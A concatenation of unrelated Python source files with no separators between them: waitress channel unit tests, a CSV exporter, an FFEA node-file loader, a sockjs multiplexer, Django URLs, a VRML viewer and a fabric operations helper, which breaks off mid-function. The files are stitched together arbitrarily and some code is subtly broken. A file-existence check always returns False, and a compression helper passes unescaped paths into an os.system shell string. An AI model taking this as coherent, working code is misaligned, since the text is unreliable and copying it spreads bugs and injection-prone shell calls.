def test_add_channel(self): inst, sock, map = self._makeOneWithMap() fileno = inst._fileno inst.add_channel(map) self.assertEqual(map[fileno], inst) self.assertEqual(inst.server.active_channels[fileno], inst) def test_del_channel(self): inst, sock, map = self._makeOneWithMap() fileno = inst._fileno inst.server.active_channels[fileno] = True inst.del_channel(map) self.assertEqual(map.get(fileno), None) self.assertEqual(inst.server.active_channels.get(fileno), None) def test_received(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.server.tasks, [inst]) self.assertTrue(inst.requests) def test_received_no_chunk(self): inst, sock, map = self._makeOneWithMap() self.assertEqual(inst.received(b''), False) def test_received_preq_not_completed(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.completed = False preq.empty = True inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.requests, ()) self.assertEqual(inst.server.tasks, []) def test_received_preq_completed_empty(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.completed = True preq.empty = True inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.request, None) self.assertEqual(inst.server.tasks, []) def test_received_preq_error(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.completed = True preq.error = True inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.request, None) self.assertEqual(len(inst.server.tasks), 1) self.assertTrue(inst.requests) def test_received_preq_completed_connection_close(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.completed = True preq.empty = True preq.connection_close = True inst.received(b'GET / HTTP/1.1\n\n' + b'a' * 50000) self.assertEqual(inst.request, None) self.assertEqual(inst.server.tasks, []) def test_received_preq_completed_n_lt_data(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.completed = True preq.empty = False line = b'GET / HTTP/1.1\n\n' preq.retval = len(line) inst.received(line + line) self.assertEqual(inst.request, None) self.assertEqual(len(inst.requests), 2) self.assertEqual(len(inst.server.tasks), 1) def test_received_headers_finished_expect_continue_false(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.expect_continue = False preq.headers_finished = True preq.completed = False preq.empty = False preq.retval = 1 inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.request, preq) self.assertEqual(inst.server.tasks, []) self.assertEqual(inst.outbufs[0].get(100), b'') def test_received_headers_finished_expect_continue_true(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.expect_continue = True preq.headers_finished = True preq.completed = False preq.empty = False inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.request, preq) self.assertEqual(inst.server.tasks, []) self.assertEqual(sock.sent, b'HTTP/1.1 100 Continue\r\n\r\n') self.assertEqual(inst.sent_continue, True) self.assertEqual(preq.completed, False) def test_received_headers_finished_expect_continue_true_sent_true(self): inst, sock, map = self._makeOneWithMap() inst.server = DummyServer() preq = DummyParser() inst.request = preq preq.expect_continue = True preq.headers_finished = True preq.completed = False preq.empty = False inst.sent_continue = True inst.received(b'GET / HTTP/1.1\n\n') self.assertEqual(inst.request, preq) self.assertEqual(inst.server.tasks, []) self.assertEqual(sock.sent, b'') self.assertEqual(inst.sent_continue, True) self.assertEqual(preq.completed, False) def test_service_no_requests(self): inst, sock, map = self._makeOneWithMap() inst.requests = [] inst.service() self.assertEqual(inst.requests, []) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) def test_service_with_one_request(self): inst, sock, map = self._makeOneWithMap() request = DummyRequest() inst.task_class = DummyTaskClass() inst.requests = [request] inst.service() self.assertEqual(inst.requests, []) self.assertTrue(request.serviced) self.assertTrue(request.closed) def test_service_with_one_error_request(self): inst, sock, map = self._makeOneWithMap() request = DummyRequest() request.error = DummyError() inst.error_task_class = DummyTaskClass() inst.requests = [request] inst.service() self.assertEqual(inst.requests, []) self.assertTrue(request.serviced) self.assertTrue(request.closed) def test_service_with_multiple_requests(self): inst, sock, map = self._makeOneWithMap() request1 = DummyRequest() request2 = DummyRequest() inst.task_class = DummyTaskClass() inst.requests = [request1, request2] inst.service() self.assertEqual(inst.requests, []) self.assertTrue(request1.serviced) self.assertTrue(request2.serviced) self.assertTrue(request1.closed) self.assertTrue(request2.closed) def test_service_with_request_raises(self): inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = False inst.server = DummyServer() request = DummyRequest() inst.requests = [request] inst.task_class = DummyTaskClass(ValueError) inst.task_class.wrote_header = False inst.error_task_class = DummyTaskClass() inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertFalse(inst.will_close) self.assertEqual(inst.error_task_class.serviced, True) self.assertTrue(request.closed) def test_service_with_requests_raises_already_wrote_header(self): inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = False inst.server = DummyServer() request = DummyRequest() inst.requests = [request] inst.task_class = DummyTaskClass(ValueError) inst.error_task_class = DummyTaskClass() inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertTrue(inst.close_when_flushed) self.assertEqual(inst.error_task_class.serviced, False) self.assertTrue(request.closed) def test_service_with_requests_raises_didnt_write_header_expose_tbs(self): inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = True inst.server = DummyServer() request = DummyRequest() inst.requests = [request] inst.task_class = DummyTaskClass(ValueError) inst.task_class.wrote_header = False inst.error_task_class = DummyTaskClass() inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertFalse(inst.will_close) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertEqual(inst.error_task_class.serviced, True) self.assertTrue(request.closed) def test_service_with_requests_raises_didnt_write_header(self): inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = False inst.server = DummyServer() request = DummyRequest() inst.requests = [request] inst.task_class = DummyTaskClass(ValueError) inst.task_class.wrote_header = False inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.exceptions), 1) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertTrue(inst.close_when_flushed) self.assertTrue(request.closed) def test_service_with_request_raises_disconnect(self): from waitress.channel import ClientDisconnected inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = False inst.server = DummyServer() request = DummyRequest() inst.requests = [request] inst.task_class = DummyTaskClass(ClientDisconnected) inst.error_task_class = DummyTaskClass() inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.infos), 1) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertFalse(inst.will_close) self.assertEqual(inst.error_task_class.serviced, False) self.assertTrue(request.closed) def test_service_with_request_error_raises_disconnect(self): from waitress.channel import ClientDisconnected inst, sock, map = self._makeOneWithMap() inst.adj.expose_tracebacks = False inst.server = DummyServer() request = DummyRequest() err_request = DummyRequest() inst.requests = [request] inst.parser_class = lambda x: err_request inst.task_class = DummyTaskClass(RuntimeError) inst.task_class.wrote_header = False inst.error_task_class = DummyTaskClass(ClientDisconnected) inst.logger = DummyLogger() inst.service() self.assertTrue(request.serviced) self.assertTrue(err_request.serviced) self.assertEqual(inst.requests, []) self.assertEqual(len(inst.logger.exceptions), 1) self.assertEqual(len(inst.logger.infos), 0) self.assertTrue(inst.server.trigger_pulled) self.assertTrue(inst.last_activity) self.assertFalse(inst.will_close) self.assertEqual(inst.task_class.serviced, True) self.assertEqual(inst.error_task_class.serviced, True) self.assertTrue(request.closed) def test_cancel_no_requests(self): inst, sock, map = self._makeOneWithMap() inst.requests = () inst.cancel() self.assertEqual(inst.requests, []) def test_cancel_with_requests(self): inst, sock, map = self._makeOneWithMap() inst.requests = [None] inst.cancel() self.assertEqual(inst.requests, []) class DummySock(object): blocking = False closed = False def __init__(self): self.sent = b'' def setblocking(self, *arg): self.blocking = True def fileno(self): return 100 def getpeername(self): return '127.0.0.1' def getsockopt(self, level, option): return 2048 def close(self): self.closed = True def send(self, data): self.sent += data return len(data) class DummyLock(object): notified = False def __init__(self, acquirable=True): self.acquirable = acquirable def acquire(self, val): self.val = val self.acquired = True return self.acquirable def release(self): self.released = True def notify(self): self.notified = True def wait(self): self.waited = True def __exit__(self, type, val, traceback): self.acquire(True) def __enter__(self): pass class DummyBuffer(object): closed = False def __init__(self, data, toraise=None): self.data = data self.toraise = toraise def get(self, *arg): if self.toraise: raise self.toraise data = self.data self.data = b'' return data def skip(self, num, x): self.skipped = num def __len__(self): return len(self.data) def close(self): self.closed = True class DummyAdjustments(object): outbuf_overflow = 1048576 outbuf_high_watermark = 1048576 inbuf_overflow = 512000 cleanup_interval = 900 url_scheme = 'http' channel_timeout = 300 log_socket_errors = True recv_bytes = 8192 send_bytes = 1 expose_tracebacks = True ident = 'waitress' max_request_header_size = 10000 class DummyServer(object): trigger_pulled = False adj = DummyAdjustments() def __init__(self): self.tasks = [] self.active_channels = {} def add_task(self, task): self.tasks.append(task) def pull_trigger(self): self.trigger_pulled = True class DummyParser(object): version = 1 data = None completed = True empty = False headers_finished = False expect_continue = False retval = None error = None connection_close = False def received(self, data): self.data = data if self.retval is not None: return self.retval return len(data) class DummyRequest(object): error = None path = '/' version = '1.0' closed = False def __init__(self): self.headers = {} def close(self): self.closed = True class DummyLogger(object): def __init__(self): self.exceptions = [] self.infos = [] self.warnings = [] def info(self, msg): self.infos.append(msg) def exception(self, msg): self.exceptions.append(msg) class DummyError(object): code = '431' reason = 'Bleh' body = 'My body' class DummyTaskClass(object): wrote_header = True close_on_finish = False serviced = False def __init__(self, toraise=None): self.toraise = toraise def __call__(self, channel, request): self.request = request return self def service(self): self.serviced = True self.request.serviced = True if self.toraise: raise self.toraise # coding=utf-8 """ 本模块提供列表导出CSV/Excl功能 """ from __future__ import absolute_import import codecs import csv import os import shutil import tempfile from talos.core import utils _recursive_get = utils.get_item def export_csv(filename, rows, mapping, encoding='utf-8'): """ 导出CSV文件 :param filename: 导出的CSV文件名 :type filename: str :param rows: 数据列表 :type rows: list :param mapping: 列索引定义 eg. [ {'column': '状态', 'index': 'state', 'default': '', 'renderer': lambda k: {'0': '运行中', '1': '关闭', }.get(k, '')}, {'column': '管理员email', 'index': 't_managers.[email]', 'default': ''} {'column': '宿主机', 'index': 't_host.name', 'default': ''}, ] :type mapping: list """ with codecs.open(filename, "w", encoding=encoding, errors='replace') as f: csvwriter = csv.writer(f) headers = [] for x in mapping: headers.append(x['column']) csvwriter.writerow(headers) for row in rows: row_data = [] for x in mapping: if isinstance(x['index'], int) and isinstance(row, (list, tuple, set)): value = row[x['index']] else: value = _recursive_get( row, x['index'], default=x.get('default', '')) if 'renderer' in x: render = x['renderer'] value = render(value) elif 'xrenderer' in x: render = x['xrenderer'] value = render(row, value) row_data.append(value) csvwriter.writerow(row_data) return True return False def export_csv_as_string(rows, mapping, encoding='utf-8'): """ 导出CSV，并返回CSV文件内容字符串 :param filename: 导出的CSV文件名 :type filename: str :param rows: 数据列表 :type rows: list :param mapping: 列索引定义 eg. {'column': '状态', 'index': 'state', 'default': '', 'renderer': lambda k: {'0': '运行中', '1': '关闭', }.get(k, '')}, {'column': '管理员email', 'index': 't_managers.[email]', 'default': ''} {'column': '宿主机', 'index': 't_host.name', 'default': ''}, :type mapping: dict :returns: csv字节流 :rtype: str """ filepath = tempfile.mkdtemp(prefix='__csv_exporter') filename = os.path.join(filepath, 'export.csv') try: export_csv(filename, rows, mapping, encoding=encoding) with open(filename, 'rb') as f: return f.read() finally: shutil.rmtree(filepath, ignore_errors=True) # # This file is part of the FFEA simulation package # # Copyright (c) by the Theory and Development FFEA teams, # as they appear in the README.md file. # # FFEA is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # FFEA is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with FFEA. If not, see . # # To help us fund FFEA development, we humbly ask that you cite # the research papers on the package. # import sys, os from time import sleep import numpy as np from FFEA_exceptions import * class FFEA_node: def __init__(self, fname = "", scale = 1.0, frame = 0): self.reset() self.scale = scale if fname == "": self.valid = True if not "pymol" in sys.modules.keys() and not "FFEA_trajectory" in sys.modules.keys(): sys.stdout.write("Empty node object initialised.\n") return try: self.load(fname) except FFEAFormatError as e: self.reset() print_error() print("Formatting error at line " + e.lin + "\nLine(s) should be formatted as follows:\n\n" + e.lstr) raise except FFEAIOError as e: self.reset() print_error() print("Input error for file " + e.fname) if e.fext != [""]: print(" Acceptable file types:") for ext in e.fext: print(" " + ext) except IOError: raise def load(self, fname, findex = 0): sys.stdout.write("Loading FFEA node file...") # File format? base, ext = os.path.splitext(fname) try: if ext == ".node": # Check if tetgen with open(fname, "r") as fin: line = fin.readline().strip() if line == "ffea node file" or line == "walrus node file": self.load_FFEA_node(fname) elif len(line.split()) == 4: self.load_tetgen_node(fname) else: raise FFEAFormatError(lin=1) elif ext == ".out" or ext == ".traj" or ext == ".ftj": self.load_traj(fname, findex) elif ext == ".obj": self.load_obj(fname) elif ext == ".vol": self.load_vol(fname) else: raise FFEAIOError(fname=fname, fext=[".node", ".out", ".traj", ".ftj", ".vol", ".obj"]) except: raise self.valid = True self.empty = False sys.stdout.write("done!\n") def load_FFEA_node(self, fname): # Open file try: fin = open(fname, "r") except(IOError): raise # Test format line = fin.readline().strip() if line != "ffea node file" and line != "walrus node file": raise FFEAFormatError(lin=1, lstr="ffea node file") try: num_nodes = int(fin.readline().split()[1]) num_surface_nodes = int(fin.readline().split()[1]) num_interior_nodes = int(fin.readline().split()[1]) except IndexError: raise FFEAFormatError(lin="2-4", lstr="num_nodes %d\nnum_surface_nodes %d\nnum_interior_nodes %d") if fin.readline().strip() != "surface nodes:": raise FFEAFormatError(lin="5", lstr="surface nodes:") # Read nodes now try: j = 0 for i in range(num_surface_nodes): sline = fin.readline().split() n = [self.scale * float(sline[0]), self.scale * float(sline[1]), self.scale * float(sline[2])] self.add_node(n, nodetype = 0) if fin.readline().strip() != "interior nodes:": if num_interior_nodes != 0: raise FFEAFormatError(lin=num_surface_nodes + 6, lstr="interior nodes:") i = num_surface_nodes for j in range(num_interior_nodes): sline = fin.readline().split() n = [self.scale * float(sline[0]), self.scale * float(sline[1]), self.scale * float(sline[2])] self.add_node(n, nodetype = 1) except (IndexError, ValueError): raise FFEAFormatError(lin=i+j+6, lstr="%f %f %f") except: raise fin.close() # Numpy it up, for speed self.pos = np.array(self.pos) def load_tetgen_node(self, fname): # Open file try: fin = open(fname, "r") except(IOError): raise # Test format sline = fin.readline().split() if int(sline[0]) == 1: pos = fin.tell() sline = fin.readline().split() try: if int(sline[0]) == 2: # Missing first line raise FFEAFormatError(lin=1, lstr=" 0 0") except(IndexError): # Missing first line raise FFEAFormatError(lin=1, lstr=" 0 0") fin.seek(pos) sline = fin.readline().split() try: num_nodes = int(sline[0]) num_surface_nodes = 0 num_interior_nodes = num_nodes except(IndexError, ValueError): raise FFEAFormatError(lin=1, lstr=" 0 0") # Read nodes now for i in range(num_nodes): try: sline = fin.readline().split() if sline[0].strip() == "#": raise FFEAFormatError(lin=i + 2, lstr=str(i + 1) + " %f %f %f") sline = sline[1:] # Get a node n = [float(sline[0]), float(sline[1]), float(sline[2])] self.add_node(n) except(IndexError, ValueError): raise FFEAFormatError(lin=i + 2, lstr=str(i + 1) + " %f %f %f") fin.close() # Numpy it up, for speed self.pos = np.array(self.pos) def load_obj(self, fname): # Open file try: fin = open(fname, "r") except(IOError): raise lines = fin.readlines() fin.close() # Test format start_index = -1 for i in range(100): if (lines[i][0] == "v" or lines[i][0] == "f") and lines[i][1] == " ": start_index = i break if start_index == -1: raise FFEAFormatError(lstr="v \%f \%f \%f") lines = lines[start_index:] for line in lines: if line[0] != "v" or line[:2] == "vn": continue sline = line.split()[1:4] self.add_node([float(sline[0]), float(sline[1]), float(sline[2])]) # Numpy it up, for speed self.pos = np.array(self.pos) def load_vol(self, fname): # Open file try: fin = open(fname, "r") except(IOError): print("\tFile '" + fname + "' not found.") self.reset() raise lines = fin.readlines() fin.close() # Test format and get to write place i = 0 line = lines[i].strip() while line != "points": i += 1 try: line = lines[i].strip() except(IndexError): print("\tCouldn't find 'points' line. File '" + fname + "' not formatted correctly.") self.reset() return continue # Get num_nodes i += 1 num_nodes = int(lines[i]) for j in range(i + 1, i + 1 + num_nodes): try: sline = lines[j].split() self.add_node([float(sline[0]), float(sline[1]), float(sline[2])]) except: print("\tCouldn't find the specified %d nodes. Only found %d. File '" + fname + "' not formatted correctly." % (num_nodes, i)) self.reset() return # Numpy stuff up self.pos = np.array(self.pos) def add_node(self, n, nodetype = -1): # Numpy or not? try: if isinstance(self.pos, list): self.pos.append(n) else: self.pos = np.append(self.pos, [n], axis=0) except(IndexError, ValueError): raise self.num_nodes += 1 if nodetype == -1: self.num_surface_nodes += 1 elif nodetype == 0: self.num_surface_nodes += 1 else: self.num_interior_nodes += 1 def calculateInterior(self, top=None, surf=None): # We must have a topology and an associated surface, otherwise interior makes no sense if top == None or surf == None: print("Error. Cannot proceed without both a topology and a surface.") return # Don't continue if we're already done #if self.num_nodes == self.num_interior_nodes: # print "HAHAHAAHAHAHA" # return # Use surface to determine which nodes are interior and build a map surfBool = [False for i in range(self.num_nodes)] # Surface for f in surf.face: for n in f.n: surfBool[n] = True amap = [-1 for i in range(self.num_nodes)] index = 0 for n in range(self.num_nodes): if surfBool[n]: amap[n] = index index += 1 self.num_surface_nodes = index self.num_interior_nodes = self.num_nodes - self.num_surface_nodes # Now remainder are interior for i in range(self.num_nodes): if amap[i] == -1: amap[i] = index index += 1 # Alter order of nodes oldpos = self.pos self.pos = [None for i in range(self.num_nodes)] for n in range(len(amap)): self.pos[amap[n]] = oldpos[n] # And reassign surface and topologies for i in range(top.num_elements): # Map node indices for j in range(len(top.element[i].n)): top.element[i].n[j] = amap[top.element[i].n[j]] for i in range(surf.num_faces): for j in range(len(surf.face[i].n)): surf.face[i].n[j] = amap[surf.face[i].n[j]] # And make sure the interior node of surface elements if at the end of the list of the linear indices #for i in range(top.num_interior_elements, top.num_elements): # for j in range(4): # if top.element[i].n[j] < node.num_interior_nodes: # break # # # j is the index of the interior node # if j < 3: # # Permute the first 3 indices # while j < 4 # else: # # Permute the last 3 indices def calculate_dimensions(self): # min, max dims = [[float("inf"), -1 * float("inf")] for i in range(3)] for p in self.pos: for i in range(3): if p[i] < dims[i][0]: dims[i][0] = p[i] if p[i] > dims[i][1]: dims[i][1] = p[i] return [d[1] - d[0] for d in dims] def print_details(self): print("num_nodes = %d" % (self.num_nodes)) print("num_surface_nodes = %d" % (self.num_surface_nodes)) print("num_interior_nodes = %d" % (self.num_interior_nodes)) sleep(1) index = -1 for n in self.pos: index += 1 outline = "Node " + str(index) + " " if(index < self.num_surface_nodes): outline += "(Surface): " else: outline += "(Interior): " for xyz in n: outline += "%6.3e " % (xyz) print(outline) def write_to_file(self, fname, surf=None): print("Writing to " + fname + "...") # Write differently depending on format base, ext = os.path.splitext(fname) if ext == ".vol": fout = open(fname, "a") fout.write("# X Y Z\npoints\n%d\n" % (self.num_nodes)) for p in self.pos: fout.write("%22.16f %22.16f %22.16f\n" % (p[0], p[1], p[2])) fout.write("\n\n") elif ext == ".node": fout = open(fname, "w") fout.write("ffea node file\nnum_nodes %d\nnum_surface_nodes %d\nnum_interior_nodes %d\n" % (self.num_nodes, self.num_surface_nodes, self.num_interior_nodes)) # Surface nodes fout.write("surface nodes:\n") for i in range(self.num_surface_nodes): fout.write("%10.6f %10.6f %10.6f\n" % (self.pos[i][0], self.pos[i][1], self.pos[i][2])) # Interior nodes fout.write("interior nodes:\n") for i in range(self.num_surface_nodes, self.num_nodes, 1): fout.write("%10.6f %10.6f %10.6f\n" % (self.pos[i][0], self.pos[i][1], self.pos[i][2])) elif ext == ".obj": if surf == None: print("Error. Cannot write to '.obj' format without an associated 'surf' object") raise IOError else: surf.write_to_file(fname, node=self) else: print("Extension not recognised") raise IOError fout.close() print("done!") def linearise_system(self, top): for e in top.element: #for n in e.n[4:]: #node.pos[n] sindex = 4 for i in range(0,3,1): for j in range(i + 1,4,1): self.pos[e.n[sindex]] = 0.5 * (self.pos[e.n[i]] + self.pos[e.n[j]]) sindex += 1 def rescale(self, factor): self.pos *= factor def calc_mass(self, top, mat): mass = 0.0 eindex = -1 for e in top.element: eindex += 1 mass += e.calc_volume(self) * mat.element[eindex][0] return mass def calc_centroid(self, subset=None): if subset == None: pos = self.pos else: pos = np.array([self.pos[i] for i in subset]) self.centroid = (1.0 / (pos.size / 3)) * np.sum(pos, axis = 0) return self.centroid def calc_CoM(self, top, mat): CoM = np.array([0.0,0.0,0.0]) tmass = 0.0 eindex = -1 for e in top.element: eindex += 1 elmass = e.calc_volume(self) * mat.element[eindex][0] tmass += elmass CoM += elmass * np.mean([self.pos[n] for n in e.n[0:4]], axis=0) self.CoM = CoM * 1.0/tmass return self.CoM def get_CoM(self): return self.CoM def get_centroid(self): return self.centroid def translate(self, trans): self.pos += np.array(trans) def set_pos(self, pos): v = np.array(pos) - self.calc_centroid() self.translate(v) return v def rotate(self, rot): rot = np.array(rot) # Translate to origin origin_trans = np.array([0.0,0.0,0.0]) - self.calc_centroid() self.translate(origin_trans) if rot.size == 3: # Rotate in x, then y, then z c = np.cos s = np.sin x = np.radians(rot[0]) y = np.radians(rot[1]) z = np.radians(rot[2]) Rx = np.array([[1, 0, 0],[0,c(x),-s(x)],[0,s(x),c(x)]]) Ry = np.array([[c(y), 0, s(y)],[0,1,0],[-s(y),0,c(y)]]) Rz = np.array([[c(z),-s(z),0],[s(z),c(z),0], [0,0,1]]) # x, y, z. Change if you want R = np.dot(Rz, np.dot(Ry, Rx)) elif rot.size == 9: R = np.array([[0.0,0.0,0.0],[0.0,0.0,0.0],[0.0,0.0,0.0]]) for i in range(3): for j in range(3): R[i][j] = rot[3 * i + j] else: return for i in range(self.num_nodes): self.pos[i] = np.dot(R, self.pos[i]) # Translate back self.translate(-1 * origin_trans) # Takes index list of type intype ("node", "surf" etc) and returns the element list corresponding to those def index_switch(self, inindex, intype, limit=1, surf=None, top = None): outindex = [] inindex = set(inindex) if (intype.lower() == "topology" or intype.lower() == "top" or intype.lower() == "element" or intype.lower() == "elem") and top != None: # If node in a face, add all nodes on face to list for i in inindex: outindex.extend(top.element[i].n[0:4]) elif (intype.lower() == "surf" or intype.lower() == "surface" or intype.lower() == "face") and surf != None: for i in inindex: outindex.extend(surf.face[i].n) else: raise IndexError return outindex def reset(self): self.valid = False self.empty = True self.pos = [] self.centroid = None self.CoM = None self.num_nodes = 0 self.num_surface_nodes = 0 self.num_interior_nodes = 0 self.scale = 1.0 from sockjs.tornado import conn, session from sockjs.tornado.transports import base class ChannelSession(session.BaseSession): def __init__(self, conn, server, base, name): super(ChannelSession, self).__init__(conn, server) self.base = base self.name = name def send_message(self, msg, stats=True, binary=False): # TODO: Handle stats self.base.send('msg,' + self.name + ',' + msg) def on_message(self, msg): self.conn.on_message(msg) def close(self, code=3000, message='Go away!'): self.base.send('uns,' + self.name) self._close(code, message) # Non-API version of the close, without sending the close message def _close(self, code=3000, message='Go away!'): super(ChannelSession, self).close(code, message) class DummyHandler(base.BaseTransportMixin): name = 'multiplex' def __init__(self, conn_info): self.conn_info = conn_info def get_conn_info(self): return self.conn_info class MultiplexConnection(conn.SockJSConnection): channels = dict() def on_open(self, info): self.endpoints = dict() self.handler = DummyHandler(self.session.conn_info) def on_message(self, msg): parts = msg.split(',', 2) op, chan = parts[0], parts[1] if chan not in self.channels: return if chan in self.endpoints: session = self.endpoints[chan] if op == 'uns': del self.endpoints[chan] session._close() elif op == 'msg': session.on_message(parts[2]) else: if op == 'sub': session = ChannelSession(self.channels[chan], self.session.server, self, chan) session.set_handler(self.handler) session.verify_state() self.endpoints[chan] = session def on_close(self): for chan in self.endpoints: self.endpoints[chan]._close() @classmethod def get(cls, **kwargs): return type('MultiplexRouter', (MultiplexConnection,), dict(channels=kwargs)) from django.urls import path from . import views urlpatterns = [ path('', views.TaskListView.as_view(), name='index'), path('createtask', views.TaskCreateView.as_view(), name='create_task') ] #! /usr/bin/env python """VRML97 load-and-view demonstration/test""" import OpenGL OpenGL.ERROR_CHECKING = False #OpenGL.ERROR_ON_COPY = True from OpenGLContext import testingcontext BaseContext = testingcontext.getInteractive() from OpenGLContext import vrmlcontext import sys class TestContext( vrmlcontext.VRMLContext, BaseContext ): """VRML97-loading Context testing class""" def OnInit( self ): """Load the image on initial load of the application""" filename = sys.argv[1] self.load( filename ) vrmlcontext.VRMLContext.OnInit( self ) BaseContext.OnInit( self ) def main(): usage = """vrml_view.py myscene.wrl A very limited VRML97 viewer which saves profile results to OpenGLContext.profile using the cProfile module. """ import sys, os, cProfile if not sys.argv[1:2]: print usage sys.exit(1) try: raise ImportError( "Don't want to use KCacheGrind any more" ) from lsprofcalltree import KCacheGrind except ImportError, err: return cProfile.run( "TestContext.ContextMainLoop()", 'OpenGLContext.profile' ) else: PROFILER = cProfile.Profile() def top( ): return TestContext.ContextMainLoop() PROFILER.runcall( top ) def newfile( base ): new = base count = 0 while os.path.isfile( new ): new = '%s-%s'%( base, count ) count += 1 return new KCacheGrind( PROFILER ).output( open( newfile( 'callgrind.out' ), 'wb' )) if __name__ == "__main__": main()10-100 # coding:utf-8 ''' @author = super_fazai @File : auto_ops_utils.py @Time : 2016/7/27 11:38 @connect : ''' """ 自动化运维相关包 """ import time import re from os import ( system, popen,) from os.path import ( exists, basename, dirname,) from fabric.connection import Connection from .time_utils import get_shanghai_time __all__ = [ 'judge_whether_file_exists', # linux server端判断一个文件是否存在 'upload_or_download_files', # 上传/下载文件 'local_compress_folders', # 本地压缩文件夹 'remote_decompress_folders', # server端解压文件, 并删除原压缩文件 # github 'auto_git', # master 自动 git ] def judge_whether_file_exists(connect_object:Connection, file_path): ''' linux server端判断一个文件是否存在 :param connect_object: :param file_path: 文件绝对路径 :return: bool ''' result = False _ = connect_object.run( command='[ -e \"{0}\" ] && echo 1 || echo 0'.format(file_path), hide=True) # hide=True隐藏输出 _ = str(_).replace('\n', '').replace('Command exited with status 0.=== stdout ===', '').replace('(no stderr)', '') if int(_) == 1: print('[+] 文件 {0} 原先存在!'.format(file_path)) _ = True else: print('[-] 文件 {0} 原先不存在!'.format(file_path)) return result def upload_or_download_files(method, connect_object:Connection, local_file_path, remote_file_path): ''' 上传/下载文件 use: eg: upload_or_download_files( method='put', connect_object=xxx, local_file_path='/Users/afa/myFiles/tmp/my_spider_logs.zip', remote_file_path='/root/myFiles/my_spider_logs.zip' ) :param method: 上传的方式 :param connect_object: 连接对象 :param local_file_path: 本地待上传文件路径(必须是绝对路径) :param remote_file_path: server待上传文件路径(必须是绝对路径) :return: bool ''' # 本地工作上下文path local_work_content = dirname(local_file_path) local_file_name = basename(local_file_path) # server工作上下文path remote_work_content = dirname(remote_file_path) remote_file_name = basename(remote_file_path) # print(remote_work_content) _ = False if method == 'put': try: connect_object.put(local=local_file_path, remote=remote_file_path) print('[+] 上传 {0} 到server成功!'.format(local_file_name)) _ = True except Exception as e: print(e) print('[-] 上传 {0} 到server失败!'.format(local_file_name)) elif method == 'get': try: connect_object.get(remote=remote_file_path, local=local_file_path) print('[+] 下载 {0} 到本地成功!'.format(remote_file_name)) _ = True except Exception as e: print(e) print('[-] 下载 {0} 到本地失败!'.format(remote_file_name)) else: # method = 'get' raise ValueError('method只支持put or get 方法!') return _ def local_compress_folders(father_folders_path, folders_name, default_save_path='/Users/afa/myFiles/tmp', exclude_folders=None): ''' 本地压缩文件夹 use: eg: local_compress_folders( father_folders_path='/Users/afa/myFiles', folders_name='my_spider_logs', default_save_path='xxxxxx' ) :param father_folders_path: 文件夹所在父目录地址 :param folders_name: 要压缩的文件夹名 :param default_save_path: 默认存储路径 :param exclude_folders: 不打包的文件, 必须以list传入 eg: ['*.svn*', ] :return: ''' if not exists(father_folders_path): raise ValueError('{0} 父目录地址不存在!请检查!'.format(father_folders_path)) elif not exists(default_save_path): raise ValueError('{0} 存储路径不存在!请检查!'.format(default_save_path)) else: pass _ = False '''用zip, unzip的原因是: mac与linux用tar存在解码冲突''' # 先cd 到父目录, 再压缩对应文件夹, 最后移动到默认保存目录 exclude_str = '' if isinstance(exclude_folders, list): for i in exclude_folders: exclude_str += '--exclude {} '.format(i) cmd = 'cd {0} && zip -r {1}.zip {2} {3} && mv {4}.zip {5}'.format( father_folders_path, folders_name, './'+folders_name+'/*', exclude_str, folders_name, default_save_path # 默认存储路径 ) # print(cmd) try: system(cmd) print('\n[+] 本地压缩 {0}.zip 成功!'.format(folders_name)) _ = True except Exception as e: print(e) print('\n[-] 本地压缩 {0}.zip 失败!'.format(folders_name)) return _ def remote_decompress_folders(connect_object:Connection, folders_path, target_decompress_path, language_control='-O CP936',): ''' server端解压文件, 并删除原压缩文件(默认解压到当前目录) use: eg: remote_decompress_folders( connect_object=xxx, folders_path='/root/myFiles/my_spider_logs.zip', 